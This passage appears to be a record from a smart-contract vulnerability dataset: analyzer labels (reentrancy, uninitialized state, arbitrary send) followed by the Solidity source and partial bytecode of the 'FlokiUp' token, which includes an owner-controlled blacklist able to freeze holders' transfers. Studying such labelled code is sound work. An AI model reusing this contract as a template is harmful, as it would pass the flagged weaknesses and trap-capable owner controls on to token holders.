082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b532e4a5e17af6308693eeefb7baf8198b4d874d9428c240fe3ea7ff30614a5864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,373 |
0x4608e0f2c1fb84cb67cd94e5fec3a1df8edef251
|
/**
*Submitted for verification at Etherscan.io on 2021-06-29
*/
// ███████╗██╗ ██████╗ ██╗ ██╗██╗██╗ ██╗██████╗
// ██╔════╝██║ ██╔═══██╗██║ ██╔╝██║██║ ██║██╔══██╗
// █████╗ ██║ ██║ ██║█████╔╝ ██║██║ ██║██████╔╝
// ██╔══╝ ██║ ██║ ██║██╔═██╗ ██║██║ ██║██╔═══╝
// ██║ ███████╗╚██████╔╝██║ ██╗██║╚██████╔╝██║
// ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝
// Name: FlokiUp
// Symbol: FlokiUp
// Total Supply: 1T
// Telegram: https://t.me/flokiuptoken
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FlokiUpToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FlokiUp";
string private constant _symbol = "FlokiUp";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 30000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600781526020017f466c6f6b69557000000000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506801a055690d9db800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f466c6f6b69557000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601442611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff